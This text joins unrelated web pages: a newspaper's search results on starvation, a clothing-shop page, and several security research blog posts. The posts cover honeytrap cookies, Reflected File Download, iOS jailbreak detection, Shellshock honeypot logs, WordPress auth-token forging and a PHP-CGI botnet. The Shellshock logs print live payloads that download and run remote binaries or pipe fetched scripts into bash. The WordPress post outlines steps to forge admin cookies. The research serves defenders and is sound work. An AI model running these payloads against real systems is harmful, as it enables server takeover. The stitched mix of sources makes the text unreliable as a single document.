Brit envies your toothy grin
Americans smile a lot. Sometimes that's good. [Read More]
Forget Max. Go with Nosewise.
In the Middle Ages, people had some pretty great names for their pets. [Read More]
High school kids dumb it down again
High-school-age kids are reading books meant for fifth graders. [Read More]
Show More


text:
Refine Your Search
Sort by
- (-) Remove 2011 filter 2011
- January 2011 (5) Apply January 2011 filter
- February 2011 (1) Apply February 2011 filter
- March 2011 (2) Apply March 2011 filter
- April 2011 (1) Apply April 2011 filter
- May 2011 (5) Apply May 2011 filter
- June 2011 (2) Apply June 2011 filter
- July 2011 (7) Apply July 2011 filter
- August 2011 (7) Apply August 2011 filter
- September 2011 (4) Apply September 2011 filter
- October 2011 (5) Apply October 2011 filter
- November 2011 (2) Apply November 2011 filter
- December 2011 (3) Apply December 2011 filter
Search Results
Related topics matching your search
- Environment (6) Apply Environment filter
- Health (6) Apply Health filter
- Nutrition (5) Apply Nutrition filter
- Diets (4) Apply Diets filter
- Disaster (4) Apply Disaster filter
- Politics (4) Apply Politics filter
- Divided Regions (3) Apply Divided Regions filter
- Government of North Korea (3) Apply Government of North Korea filter
- Somalia (3) Apply Somalia filter
- War (3) Apply War filter
- China (2) Apply China filter
- Conviction (2) Apply Conviction filter
- Economics (2) Apply Economics filter
- Entertainment (2) Apply Entertainment filter
- Geography (2) Apply Geography filter
- Hong Kong (2) Apply Hong Kong filter
- Horn of Africa (2) Apply Horn of Africa filter
- Natural Disaster (2) Apply Natural Disaster filter
- Peak Oil (2) Apply Peak Oil filter
- Population (2) Apply Population filter
- Social Issues (2) Apply Social Issues filter
- Space Exploration (2) Apply Space Exploration filter
- Yuan (2) Apply Yuan filter
- Africa (1) Apply Africa filter
- Agriculture (1) Apply Agriculture filter
- Alan Aitken (1) Apply Alan Aitken filter
- Asia (1) Apply Asia filter
- Astronomy (1) Apply Astronomy filter
- Biology (1) Apply Biology filter
- Chinese Cuisine (1) Apply Chinese Cuisine filter
- Company Employees Number (1) Apply Company Employees Number filter
- Construction (1) Apply Construction filter
- Education (1) Apply Education filter
- Espionage (1) Apply Espionage filter
- Flowers (1) Apply Flowers filter
- Food (1) Apply Food filter
- Geology (1) Apply Geology filter
- Heads of State (1) Apply Heads of State filter
- Heilongjiang (1) Apply Heilongjiang filter
- Henry Tang (1) Apply Henry Tang filter
- Hong Kong Films (1) Apply Hong Kong Films filter
- Jackpot (1) Apply Jackpot filter
- Leung Chun Ying (1) Apply Leung Chun Ying filter
- Mao Zedong (1) Apply Mao Zedong filter
- Politics of Hong Kong (1) Apply Politics of Hong Kong filter
- Shanghai (1) Apply Shanghai filter
- Susan Ramsay (1) Apply Susan Ramsay filter
- Technology (1) Apply Technology filter
- United States (1) Apply United States filter
- Yangtze River Delta (1) Apply Yangtze River Delta filter
Search results
A matter of life and death
Posted Jul 28th 2011, 12:00am
... regions, some 3.7 million people- around a third of the population- are on the brink of starvation. And millions more in Djibouti, Ethiopia, Kenya and Uganda have been hit by the region's worst drought in 60 years. Hundreds of thousands have been forced to walk for weeks in search of food and water- and the UN says it cannot reach more than two million Somalis facing starvation ...http://www.scmp.com/article/974700/matter-life-and-death
First They Killed My Father
Posted Jul 31st 2011, 12:00am
... was indoctrinated as a soldier, almost raped and near starved: from 1975 to 1979 two million Cambodians died through execution, starvation, forced labour and disease. 'In our culture, it is enough ...http://www.scmp.com/article/974930/first-they-killed-my-father
Schoolgirl spends summer helping Kenyan villagers
Posted Aug 21st 2011, 12:00am
... headed for the beach for their summer holidays, Shreena Thakore decided she wanted to spend her break helping people in an African country ravaged by starvation and death. After researching ... of cholera [from the muddy water] or, alternatively, starvation by that age. There is no use developing a bond with them that will only be broken after a short time. The death of a child is just ...http://www.scmp.com/article/976795/schoolgirl-spends-summer-helping-kenyan-villagers
Posted Dec 01st 2011, 12:00am
... The largest war in modern African history, involving eight African nations, led to the deaths of 5.4 million people due to disease and starvation. ...http://www.scmp.com/article/986418/timeline
Bad news stories help us re-evaluate our lives
Posted Oct 20th 2011, 12:00am
... bombs, murders, starvation, economic woes and plane crashes. Most professional news agencies seem to think that unless it's bad news, it's no news at all. Yet that is simply not true. ...http://www.scmp.com/article/982366/bad-news-stories-help-us-re-evaluate-our-lives
What's being said on facebook.com/southchinamorningpost
Posted Oct 12th 2011, 12:00am
... poor for one square meal a day: Sam Ho- Hong Kong is gradually becoming a paradise for the rich and powerful minority, and a hell for the powerless majority. Starvation will happen if the SAR ...http://www.scmp.com/article/981647/whats-being-said-facebookcomsouthchinamorningpost
We must stop wasting mooncakes
Posted Sep 27th 2011, 12:00am
... is heart-breaking. It would be much better to send that money to help people dying of starvation in Africa. Susan, Editor ...http://www.scmp.com/article/980214/we-must-stop-wasting-mooncakes
World can't let the innocent starve
Posted Jul 31st 2011, 12:00am
... 100th anniversary of the birth of his father and North Korea's founder, Kim Il-sung. Each or all are possibilities. Whatever the truth, there is no doubt that hunger and starvation ...http://www.scmp.com/article/975004/world-cant-let-innocent-starve
Benefits of GM foods outweigh risks
Posted Jun 30th 2011, 12:00am
... can help us produce large amounts of higher-quality, longer-lasting food more quickly. In developing countries, where many people face starvation, this technology could save lives. It also ...http://www.scmp.com/article/972132/benefits-gm-foods-outweigh-risks
No need to remove trees from HK's maintained slopes to stop them falling
Posted May 23rd 2011, 12:00am
... that most of the trees that fall in urban areas do so because of similar water starvation. The solution is not to remove all trees from maintained slopes, but to create horizontal cracks ...http://www.scmp.com/article/968540/no-need-remove-trees-hks-maintained-slopes-stop-them-falling
In Case You Missed It
SCMP.com Account
Log in using a partner site
Log in using your Facebook account. What's this?
Don't have an SCMP.com account? Subscribe Now!


text:
Change currency:
Other country sites
Your Recent Searches
Your bag is empty
Free DELIVERY Worldwide*
DIY NAILS / Max out your manicure with DIY Nails' super cute decals. Conceal shaky paint jobs with blogger turned nail artist Tammy Koslowski's tip transfers in fun fast food and sweet cake print designs.
Refine By
Price Range
The celebrities named or featured on asos.com have not endorsed recommended or approved the items offered on site
©2014 asos.com Ltd
All rights reserved
Looks like you're in the US?
Visit your localized US site and shop in $USD & US sizing:
Cookie Use
ASOS uses cookies to ensure that we give you the best experience on our website.
If you continue we assume that you consent to receive all cookies on all ASOS websites.


text:
This recipe will show you how to add fake cookies and to alert if the data is ever manipulated.
The HTTP protocol has no built in session-awareness. This means that each transaction is independent from each other. The application, therefore, needs a method to track who a person is and what actions they have previously taken (for instance in a multi-step process). Cookies were created precisely for this purpose. The application issues Set-Cookie response header data to the client web browser. This cookie data instructs the browser to send back data to the web application on subsequent requests. For instance, upon an initial request to the Ebay main page you will receive the following response headers:
As you can see, there are six Set-Cookie response headers. When you make follow-up requests, these headers will now be included within the request headers:
Much in the same way that attackers take aim at parameter payloads, they also attempt to alter cookie data that is handed out by the application. Both parameter and cookie data is evaluated by the application upon each request. Cookie data may even be an even more attractive target for attackers as this information often controls authorization restrictions. If an attacker can alter cookie data, they may be able to become a completely new user, be presented with new user interface options or even gain higher privileges within the application. Due to this modus operandi of attackers, we want to set a honeytrap embedded within the normal application cookies in hopes that we will catch when attackers start to manipulate them.
Much in the same way that we added in fake hidden field honeytrap data in Recipe 3-4, we want to do the same with fake cookie data. There are two implementation considerations:
The following ModSecurity/Apache directives addresses these two considerations:
These rules will capture the name of the last Set-Cookie header and then append the "-user_role" text to it. This is to try and trick the attacker into thinking that this cookie is controlling the user's role within the application. For the cookie payload, we put the enticing "Admin:0" data which would lead the attacker into thinking that by changing the 0 into a 1 might enable administrative privileges within the application. With these rules in place, the new response header data looks like this:
Notice the bolded Set-Cookie response header line holds our new honeytrap cookie data. Next, on subsequent requests, the client's browser will send back our fake cooke data along with all of the normal cookies:
We next need to add a rule that will catch if the client ever changes this cookie data.
This ruleset will check to see if the honeytrap cookie name is present and then will alert if the "Admin:0" value is ever altered. It will also set the malicious_client variable in the IP Collection to let us know that this client is up to no good.
In this example, the attacker has decided to change the honetrap cookie value from a 0 to a 1 in the hopes that this might change their level of access:
This request would then trigger the following ModSecurity event in the normal error log:
HoneyTraps are an extremely valuable defensive technique to use when defending your web applications. They offer a very high signal-to-noise ratio and allow defenders to quickly zero in on real attackers and take appropriate actions. Setting fake cookie data is a great way to identify malicious clients.
PLEASE NOTE: As promised, I've published a full white paper that is now available for download:
White paper "Reflected File Download: A New Web Attack Vector" by Oren Hafif.
On October 2014 as part of my talk at the Black Hat Europe 2014 event, I presented a new web attack vector that enables attackers to gain complete control over a victim's machine by virtually downloading a file from trusted domains. I decided to call this technique Reflected File Download (RFD), as malware can be "downloaded" from highly trusted domains such as Google.com and Bing.com without ever being uploaded.
As long as RFD is out there, users should be extremely careful when downloading and executing files from the web. The download link might look perfecty fine and include a popular, trusted domain and use a secure connection, but users still need to be wary. Look at the following link for example. Up until a few months ago, it could have been used to steal ALL cookies from your browser, perform actions on your behalf and steal emails from your Gmail inbox:
Google fixed the vulnerability so that the link above now only downloads a harmless text file.
RFD, like many other Web attacks, begins by sending a malicious link to a victim. But unlike other attacks, RFD ends outside of the browser context:
1) The user follows a malicious link to a trusted web site.
2) An executable file is downloaded and saved on the user's machine. All security indicators show that the file was "hosted" on the trusted web site.
3) The user executes the file which contains shell commands that gain complete control over the computer.
Figure 1 – The three steps attack flow of reflected file download
For a Reflected File Download attack to be successful, there are three simple requirements:
1) Reflected – Some user input is being "reflected" to the response content. This is used to inject shell commands.
2) Filename – The URL of the vulnerable site or API is permissive and accepts additional input. This is often the case and is used by attackers to set the extension of the file to an executable extension.
3) Download – The response is being downloaded and a file is created "on-the-fly" by the Web browser. The browser then sets the attacker-controlled filename that was parsed in requirement 2 above.
Figure 2 – A service is vulnerable if the three RFD requirements are met
At the conference, I presented three proof of concept videos that show different exploitation techniques of an RFD attack found on www.google.com:
Though RFD is not a "JSON attack", the nature of JSON APIs (which conveniently conform to the RFD requirements) and the vast number of JSON APIs, make JSON an ideal target. To date, a site generating JSONP responses is almost certainly vulnerable in one way or the other to RFD.
Trustwave encourages application owners to mitigate RFD vulnerabilities by implementing the mitigations described in the white paper. Implementing mitigations takes time, and Trustwave WAF users can add the following custom rule in order to detect active probes and exploits of Reflected File Download vulnerabilities until a permanent fix is applied:
SecRule REQUEST_URI "@rx (?i\:^[^?]*\\.(bat\|cmd)(\\W\|$))"
The above rule detects exploitation using the more dangerous "bat" and "cmd" extension, however, there are quite a few additional dangerous extensions that you might want to add to the rule. Note that if your site legitimately host files with "bat" and "cmd" extensions, this rule will block such functionality.
ModSecurity users can use the following equivalent rule:
SecRule REQUEST_URI "@rx (?i:^[^?]*\.(bat|cmd)(\W|$))" "phase:1,id:100,t:none,t:urlDecodeUni,block,msg:'Potential Reflected File Download (RFD) Attack.'"
Users should inspect links carefully and access downloads by searching for the real setup files using your favorite search engine. Don't execute files you have downloaded by following links from emails, social networks and sites you don't normally trust.
Breakers should help secure their Web sites by finding and reporting RFD issues in penetration tests and code reviews.
Defenders should deploy secure configurations in web servers and web application firewalls to prevent exploiting RFD issues.
Builders should write secure APIs and follow secure development guidelines that are not vulnerable to RFD.
To review the technical details of this attack and the complete set of mitigations, please read the complete White Paper:
Download Eu-14-Hafif-Reflected-File-Download-a-New-Web-Attack-Vector-wp
This post concludes our three-part series about mobile security. Today's post will outline some options for detecting jailbroken devices, should you choose to do so. Yesterday, we asked whether blocking an app's execution on jailbroken devices was worth it. Earlier this week, we described some vulnerabilities in iOS web browsers.
Many iOS applications contain some sort of jailbreak detection mechanism. Some of the detection mechanisms can be bypassed by attackers (sometimes easily), whereas others are quite difficult to bypass. Below is a list of some of the more popular methods of detecting jailbroken iOS devices.
The jailbreak process modifies the filesystem by adding, moving and changing files and directories. These changes can be detected, to determine if the device is jailbroken or not.
New Files Created
During the jailbreaking process, some additional files are created on the device. Looking for these files is a simple way to detect a jailbreak. It's also an easy method for a malicious individual to detect and bypass. An attacker can search for a string in the application, and then simply change the file names in question to avoid detection.
The most popular files that jailbreak detection is based on are listed below:
Directory permissions
Like detecting a jailbroken device by looking for certain new files, certain permissions on partitions and folders can also indicate a jailbroken device.
During the jailbreaking process, access to the root partition is amended. If the root partition has read/write permissions, the device has been jailbroken.
Size of /etc/fstab file
The /etc/fstab file contains mount points for the system. Many jailbreaking tools modify this file by adding entries to it, changing its file size. The typical iOS app isn't capable of reading the file, but it can check the size of the file.
Do note however, that the file size can change as a result of a new update from Apple.
Existence of symbolic links
Some directories are originally located in the small system partition, however, this partition is overwritten during the jailbreak process. Therefore the data must be relocated to the larger data partition. Because the old file location must remain valid, symbolic links are created. The following list contains files/directories which would be symbolic links on a jailbroken device. An application could check for these symbolic links, and, if they exist, detect a jailbreak.
Writing files
On jailbroken devices, applications are installed the /Applications folder and thereby given root privileges. A jailbroken device could be detected by having the app check whether it can modify files outside of its sandbox. This can be done by having the app attempt to create a file in, for example, the /private directory. If the file is successfully created, the device has been jailbroken.
Some API calls provided by iOS behave differently if run on jailbroken devices. Detecting a jailbroken device based on API calls can be both effective and difficult for a malicious individual to recognize and bypass.
The sandbox denies process forking on non-jailbroken devices. By checking the returned pid on fork(), an app can detect if it has successfully forked. If the fork is successful, the app can deduce that it is running on a jailbroken device.
Calling the system() function with a NULL argument on a non-jailbroken device will return 0. Doing the same on a jailbroken device will return 1. This is because the function will check whether /bin/sh exists, and it only exists on jailbroken devices.
vm_protect() - OBSOLETE
On iOS versions prior to 4.3.4, memory pages could not be marked as executable if the device was not jailbroken. Later versions of iOS have changed this rendering this detection method obsolete.
dyld functions
This detection method starts with calling functions like _dyld_image_count() and _dyld_get_image_name() to see what dylibs are currently loaded. This method is very difficult to dynamically patch due to the fact that the patches themselves are part of dylibs.
Attackers have a difficult time bypassing this detection method.
Jailbroken devices can run services that aren't normally present on non-jailbroken devices - the most common is the OpenSSH service.
Note that this detection method can be very slow. If SSH is not installed or running on the device, it can take some time for the connection to timeout. Attackers can also easily bypass this method by simply changing the port for the OpenSSH service.
Most jailbroken devices have Cydia installed. While an attacker can change the location of the Cydia app, it's unlikely they will also change the URL scheme the Cydia app is registered with.
If calling the Cydia's URL scheme (cydia://) from your application is successful, you can be sure that the device is jailbroken.
It's difficult to change the scheme for Cydia, but it is possible to simply remove Cydia during the testing process.
In general, the more complicated the jailbreak detection is, the more difficult it is to detect and bypass. The most common mistake when implementing jailbreak detection often lies in the implementation itself.
We often come across apps that have great jailbreak detection, but the implementation is in one function that returns true or false depending on whether the device is jailbroken. In these cases, we bypass jailbreak detection by using Cycript or a similar tool to invert the return value from the detection function.
In practice, the best jailbreak detection combining multiple techniques and integrating them into other functions so that they cannot easily be bypassed.
This post is part two of a three-part series about mobile security. Today's post will discuss the execution of apps on jailbroken devices. Yesterday, we described some vulnerabilities in iOS web browsers. Tomorrow, we'll explore detecting jailbroken devices.
Three different messages but they say the same thing: the app will not execute on a jailbroken device. The question is though, is it a good idea for developers to block execution on jailbroken or rooted devices?
There is of course not a good answer to the question, and it depends on the app's purpose and the information it handles.
However, the decision to block execution on rooted or jailbroken devices should not be taken lightly. By blocking execution, you've got your work cut out for you. Jailbreak and root detectionis not easy. If you decide to block execution on modified devices, you need to invest the time and get the necessary skills to implement detection that cannot be bypassed. I would argue that a root detection or jailbreak detection that can be bypassed is worse than not detecting root or jailbreak at all. Apps that try to block execution on modified devices can flag themselves as all the more interesting to a malicious individual.
Here are some of the tools you are up against (this is not a comprehensive list, it merely provides a few examples):
In our testing, we found that 14 percent of apps that attempted to block execution on rooted or jailbroken devices did so ineffectively. We were able to bypass the checks in hours and sometimes even in minutes.
Our research also points out the difficulty in detecting and blocking execution on a jailbroken device. Of apps that attempted to block execution on jailbroken or rooted devices, we managed to bypass the checks and execute the app on a modified device in every case.. Granted, some of the bypasses required heavy modifications of the operating system, and sometimes the app itself, but we were successful in the end.
In summary, you should not block execution of apps on rooted or jailbroken devices unless it is absolutely necessary for the security and/or integrity of the app. If you do decide to do so, make sure to understand the time and effort it will require and have the necessary resources available.
Today we begin a three-post series about mobile security. We start with a discussion of vulnerabilities in iOS web browsers. Later this week we'll cover apps executing on jailbroken devices and the detection of jailbroken devices. While the release and adoption of iOS 8 may plug some of the holes discussed in this post, many users will continue to use iOS 7 for some time and may remain vulnerable.
In Q1 2014, the market share of web traffic from mobile browsers exceeded 30% [1], and it is constantly growing. According to data provided by StatCounter, web traffic from iOS devices surpassed that of Mac OS X and Windows 8 [2]. Many vendors are trying to get a piece of the pie by introducing their own browsers on Apple's platform.
UIWebView is the main component of all browsers that allow running web content. The WebKit engine is the same as in Mobile Safari. The main difference is in the UI wrapped around WebKit.
Below I explain a number of vulnerabilities introduced by developers as they add functionality to their browsers.
The UIWebView API is quite simple. It allows you to load html content and offers some basic navigation functionality (goBack, goForward, stopLoading, reload). To manipulate the loaded html content, UIWebView exposes the stringByEvaluatingJavaScriptFromString function. This function allows executing javascript from a string with the same privileges the top frame (there is no possible way to manipulate, for example, iframe content).
Therefore, developers need to implement functionality such as tabs, password managers, address bars and download managers. Each addition in functionality brings with it the potential introduction of new bugs and security issues.
UXSS (Universal Cross-Site Scripting)
Cross-Site Scripting (XSS) enables attackers to inject client-side scripts into web pages viewed by other users, bypassing the same origin policy (SOP) and executing the injected scripts in the victim browser. UXSS differs in that the attacker exploits a vulnerability in a browser instead of a website. The root cause of this is related to SOP. In most cases, browsers support the use of multiple tabs. On iOS, WebKit does not allow multiple tabs, which means browser developers need to implement all of the required features and functionality themselves. Even though WebKit holds the SOP in it, it is not guaranteed between tabs.
CVE-2013-6893, CVE-2013-7197 and CVE-2012-2899 are a few examples of UXSS bugs in various browsers (Mercury, Yandex, Google).
Improper Content-Disposition handling can also lead to UXSS vulnerabilities.
ABS (Address Bar Spoofing)
On iOS, the address bar is not created inside the WebKit component. It must be separately developed by the browser developer. Some browsers have not implemented the address bar correctly, which gives malicious users the ability to change the content of the website without updating the address bar. This presents an opportunity for phishing attacks. ABS bugs were found in Kaspersky Safe Browser (fixed in 1.03 version) and F-Secure Safe browser (fixed in 2.50.201102 version). In some cases, the browser displayed information, such as the SSL certificate being valid, even if the webpage that was loading was using a self-signed certificate.
Other Common Weaknesses in iOS Browsers
Other vulnerabilities in iOS browsers include:
As previously mentioned, iOS web browser developers also implement password manager functionality. One vector that can lead to the stealing of passwords from a password manager is using a Man-in-the-Middle (MITM) vulnerability to insert a hidden frame that automatically receives the username/password. The address bar will get updated very briefly, but in the vast majority of cases, this is overlooked by the user.
Finally, the way SSL is handled is important. By default, invalid certificates for iOS UIWebView https requests are rejected without user interaction. With certain bugs, this behavior can be changed (so the user would accept a self-signed certificate). Opera Coast 3.0 was one of the browsers that were vulnerable to a simple MITM attack [4].
Further reading
I presented more details about the issues described here at the Hack in The Box Amsterdam 2014 conference. The slides can be downloaded from http://haxpo.nl/hitb2014ams-pilorz-zmyslowski/
Special thanks to:
Lukasz Pilorz, Pawel Wyleciał, Aleksander Droś
Trustwave, like most other information security firms, has been busy investigating the ShellShock vulnerability and subsequent scanning and exploit attempts. The SpiderLabs team at Truswave wanted to give the community some feedback on what we are seeing happening "in the wild" and a status on the detections and coverages we have in the relevant Trustwave services and product portfolio.
The first indications we received of scanning and exploit attempts came in from our web-based honeypot systems early on September 25 just after public announcement of the vulnerability. You can see in these examples from the Apache access_logs that attackers were scanning sites by adding attack payloads to either Referer or User-Agent field request headers:
22.214.171.124 - - [25/Sep/2014:00:24:27 -0400] "GET / HTTP/1.0" 400 226 "() { :; }; wget -O /tmp/besh http://22.214.171.124/nginx; chmod 777 /tmp/besh; /tmp/besh;" "Thanks-Rob"
18.104.22.168 - - [25/Sep/2014:00:24:35 -0400] "GET / HTTP/1.0" 400 226 "() { :; }; wget -O /tmp/besh http://22.214.171.124/nginx; chmod 777 /tmp/besh; /tmp/besh;" "Thanks-Rob"
126.96.36.199 - - [25/Sep/2014:00:24:35 -0400] "GET / HTTP/1.0" 400 226 "() { :; }; wget -O /tmp/besh http://220.127.116.11/nginx; chmod 777 /tmp/besh; /tmp/besh;" "Thanks-Rob"
22.214.171.124 - - [25/Sep/2014:00:24:37 -0400] "GET / HTTP/1.0" 400 226 "() { :; }; wget -O /tmp/besh http://220.127.116.11/nginx; chmod 777 /tmp/besh; /tmp/besh;" "Thanks-Rob"
18.104.22.168 - - [25/Sep/2014:00:47:40 -0400] "GET / HTTP/1.0" 200 10303 "() { :; }; ping -c 11 126.96.36.199" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
220.127.116.11 - - [25/Sep/2014:03:13:23 -0400] "GET / HTTP/1.0" 200 2564 "() { :; }; ping -c 11 220.127.116.11" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
126.96.36.199 - - [25/Sep/2014:03:14:26 -0400] "GET / HTTP/1.0" 200 16 "() { :; }; ping -c 11 220.127.116.11" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
220.127.116.11 - - [25/Sep/2014:03:43:04 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 - "-" "() { :;}; /bin/ping -c 1 220.127.116.11"
126.96.36.199 - - [25/Sep/2014:03:49:19 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 - "-" "() { :;}; /bin/ping -c 1 126.96.36.199"
126.96.36.199 - - [25/Sep/2014:03:50:17 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 - "-" "() { :;}; /bin/ping -c 1 188.8.131.52"
220.127.116.11 - - [25/Sep/2014:05:59:22 +0900] "GET / HTTP/1.0" 200 22231 "() { :; }; ping -c 11 18.104.22.168" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
22.214.171.124 - - [25/Sep/2014:06:35:21 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 - "-" "() { :;}; /bin/ping -c 1 18.104.22.168"
126.96.36.199 - - ...
While this data is useful, it is limited to only what is logged by default Apache combined log format. If we look deeper at some of the full HTTP audit logs from the ModSecurity WAF audit log format, we can see more interesting header attacks including cookies and custom headers:
cookie: () { :; }; /bin/bash -c 'rm /tmp/._tmp; uu="x5w3h5abg6"; up="5KWqDPzkwO"; u="http://18.104.22.168:8009/?ii=13f15d9c98ccd171e9e41638da29ed5c&ij=aHR0cDovL21vZHNlY3VyaXR5Lm9yZy8%3D"; curl -u $uu:$up $u | /bin/bash; lwp-request -m POST -H 'Authorization: Basic eDV3M2g1YWJnNjo1S1dxRFB6a3dP' $u | /bin/bash; wget -O- --http-user $uu --http-password $up $u | /bin/bash'
variable-auth_method: () { :; }; /bin/bash -c 'rm /tmp/._tmp; uu="x5w3h5abg6"; up="5KWqDPzkwO"; u="http://22.214.171.124:8009/?ii=13f15d9c98ccd171e9e41638da29ed5c&ij=aHR0cDovL21vZHNlY3VyaXR5Lm9yZy8%3D"; curl -u $uu:$up $u | /bin/bash; lwp-request -m POST -H 'Authorization: Basic eDV3M2g1YWJnNjo1S1dxRFB6a3dP' $u | /bin/bash; wget -O- --http-user $uu --http-password $up $u | /bin/bash'
As you can see, these attacks are mainly trying to either confirm the existence of the vulnerability or actual exploit attempts to download and execute malware.
In addition to our web honeypots that run ModSecurity, Trustwave SpiderLabs also has access to research deployments of our Trustwave Web Application Firewall (WAF) product. Our WAF already has built-in attack payload detections for OS Command Injection attacks that would catch the vast majority of attack payloads such as: echo, cat, ping, etc. In addition to this default protection, we wanted to see specific exploit attempts for this vulnerability so we quickly added in this "User Defined Rule":
Let's take a closer look at a few alert examples taken from our Trustwave WAF research deployment.
This client seems to only be testing whether the exploit works.
This client is going a step further by trying to notify the website owner that their site may be vulnerable to Shellshock and refers to their website for more information.
This example attack is interesting for two reasons:
This client from Brazil was attempting to use Netcat to send back a reverse shell to their address.
In addition to our WAF products, Trustwave Managed Security Services (MSS) also saw a huge spike in attack traffic for this vulnerability since September 25:
Attack source attribution is challenging as attackers will often loop their traffic through TOR, anonymous proxy servers or even compromised systems. This means that the true origin of the attacks could be from anywhere. Applying some attack source analysis did show that TOR is actively being used to send attack traffic.
For more information about Shellshock and Trustwave products and services that can help detect or protect against attacks on the vulnerability, visit the Trustwave blog.
As the data in this blog post illustrates, the threat level for this vulnerability is high due to the prevalence of the vulnerability and the large number of active exploit attempts in the wild. We urge all Trustwave customers to do the following:
Trustwave will continue to monitor this vulnerability and update protections and detections as needed.
Stay safe out there.
I would like to thank the following SpiderLabs Research team members who helped to ensure that their respective products were updated and also gathered threat intelligence for this blog post:
FAQ: The Scoop on Shellshock (Trustwave Blog)
In this post I will discuss how a serious but mostly ignored vulnerability can lead to a full compromise of a WordPress site. The key in this attack is how WordPress handles authentication allowing a brute force attack if the secret salt and key values stored in wp-config.php are exposed. IF an innocuous LFI (local file inclusion) or accidental leak of this data by a backup or copy of wp-config.php is successful, then an attacker could generate their own valid auth tokens and gain full access to the site's admin pages without being detected.
This is a followup to a previous blog post (Jamming with WordPress Sessions) where I discussed an attack against WordPress authentication tokens. At that time I only wrote about a post-compromise scenario where an attacker could generate undetectable authentication tokens that effectively never expire. I restrained myself then from divulging how this flaw could chain with other attacks to allow attackers to compromise WordPress sites. With the release of WordPress 4.0, the vulnerability that this attack exploits (CVE-2012-5868) has finally been patched (yes, after 2 years).
To summarize and get you up to speed, up until WordPress 4.0 the way the site handled creating and validating authentication tokens was by making a hash of three values: 1. the site's secret key/salt pair, 2. four characters of the user's hashed password, and 3. the expiration time stamp.
On a valid login, the three values are passed through a series of hashing algorithms (HMACs) and the resulting md5 hash is given to the user's browser as a cookie. Verification of the authentication cookie is handled by the website running the hashing algorithm again using the expiration time stamp and its known secret values to validate that the cookie's stored authentication token is valid.
This flaw was patched in the 4.0 release by tying the authentication tokens sent to the user to session identifiers managed in the database. I encourage everyone to upgrade to WordPress version 4.0 as soon as possible because it addresses this flaw. Doubly so because there is evidence that shows an increase in LFI (Local File Inclusion) attacks against WordPress sites our Web Server Security team posted about recently.
Getting back to the attack. The three values are key. The timestamp is arbitrary and supplied by the user. The secret salt is by far the least likely to be guessed or brute forced. The four characters of a user's password hash can be brute-forced over a period of time. So, how would we get the unknown and impossible-to-guess secret salt? That's where LFI or information leakage attacks come in.
1) Use an existing attack to get access to the wp-config.php file's secret key values:
Or, alternatively, use one of the many Local File Inclusion attacks, which target common themes and plugins.
2) Pull out the secret keys and plug their values into the proof of concept code:
Here is the Proof of Concept attack code in full:
3) The PoC will use the key values to generate brute force auth tokens on the fly:
4) Then it uses the generated auth tokens to hit the site looking for a valid authentication cookie (in this case, looking for http header response code that denotes we sent a valid authentication cookie):
This step may take a while as there are 64^4 possible iterations of the four character combination we're bruting. However, from the web server perspective it will not look like a brute force in the access logs, the authentication takes place based via the sending of the cookie to the server. So, the attack could appear in the site's logs like regular traffic to the site.
5) When a valid auth token is found, the code will output the value of the cookie:
6) You can then automate the attack to use the authentication cookie to take immediate actions (such as adding users via the WordPress admin page, upload a backdoor, etc..) or if you prefer the hands on approach, copy the cookie's value into your browser and get access as the brute-forced user's admin pages. The PoC above uses an expiration timestamp that expires in about 100 years, so you have plenty of time on your hands to take action after forging the authentication cookie.
There we have it, anyone who leaks the secret key and salt values of their site is a stone's throw away from a site being seriously compromised.
This post has shown how dangerous leaking secret key values can be and clarified what additional risks have been associated with CVE-2012-5868. Furthermore, using this vulnerability as a example, we see how long a publicly reported vulnerability might take to be patched even by a major vendor. Two years is a surprising length of time to "push back" a vulnerability's public patch, but should serve as a striking example on why implementing a web application firewall (WAF) and using it for virtual patching can help protect against vulnerabilities when a vendor can not be relied upon for timely patches.
Read more about Trustwave WAF or Trustwave ModSecurity rules and services.
Our web honeypots picked up some interesting attack traffic. The initial web application attack vector (PHP-CGI vulnerability) is not new, the malware payload is. We wanted to get this information out to the community quickly due to the following combined threat elements -
Update - Another security researcher has also seen similar activity in his ModSecurity honeypots back on August 26. Some of the tactics have changed but the core of the attack seems the same.
We have already discussed the initial PHP-CGI vuln attack/exploit vector in a previous blog post. What is interesting in these attacks are the actual tools installed if the attack is successful. Here is the initial screen shot of the attack payloads taken from the ModSecurity audit log file on the honeypot:
We cross referenced this attack with our own IDS alerts from Trustwave MSS team and have seen a definite increase in scanning activity for the inital web application attack vector (PHP-CGI) within the last month:
Keep in mind that exploit vectors and payloads are separate ecosystems. They are often interchanged with each other. For example, we often see new PHP command injection vectors used within botnet code that execute or install the same backend malware code. The initial URL encoded data in the QUERY_STRING decodes to:
The final "auto_prepend_file=php://input -a" data tells php to take the info from the POST payload and append it to any existing code and execute it. If we look at the complete PHP code in the request body, we see that there are actually 2 different variables that contain base64 encoded data.
This data is then later decoded and places into temp files and then executed.
What are these files? If we base64 decode the variable data, we can see that they are in fact ELF binaries that are packed with UPX -
Here is some quick static analysis -
The files are essentially the same, however one is 32-bit and one is 64-bit. The attacker isn't even bothering with checking the web server OS version... they are just trying to execute both to see which one might work. Checking this file over on VirusTotal shows that only 4 AV vendor currently detects this file as malicious:
Note - We have internally verified that Trustwave AV does detect this file as malicious.
The file contains many clear text URLs that have been associated with Botnet C&C activity:
Once we see the IRC botnet code, we get a clearer idea of what we are dealing with here:
There are many IRC commands here. IRC botnet code installs are nothing earth-shatteringly new however most of the variants we capture are written in Perl, PHP, etc... This one is binary C code. One interesting tactical note - the destination IRC port on these C&C servers is 53. This is a smart move from the attacker's perspective as DMZ network firewalls may allow web servers to initiate outbound DNS queries.
Additionally, we see the highlighted section of code which seems to identify this code as: BoSSaBoTv2. After some searching, we were able to find that this code is actively being sold on underground forums. Here are some example screenshots:
Notice some of these features including bundling a Bitcoin Miner program. This is interesting as this shows another aspect how an attacker is looking to abuse their access to a compromised web server. They can siphon off local system resources such as CPU and RAM in attempts to create Bitcoins. Here are some of the commands for downloading and running the Bitcoin miner -
We also see on the hacker forum that this malware is for sale at affordable prices:
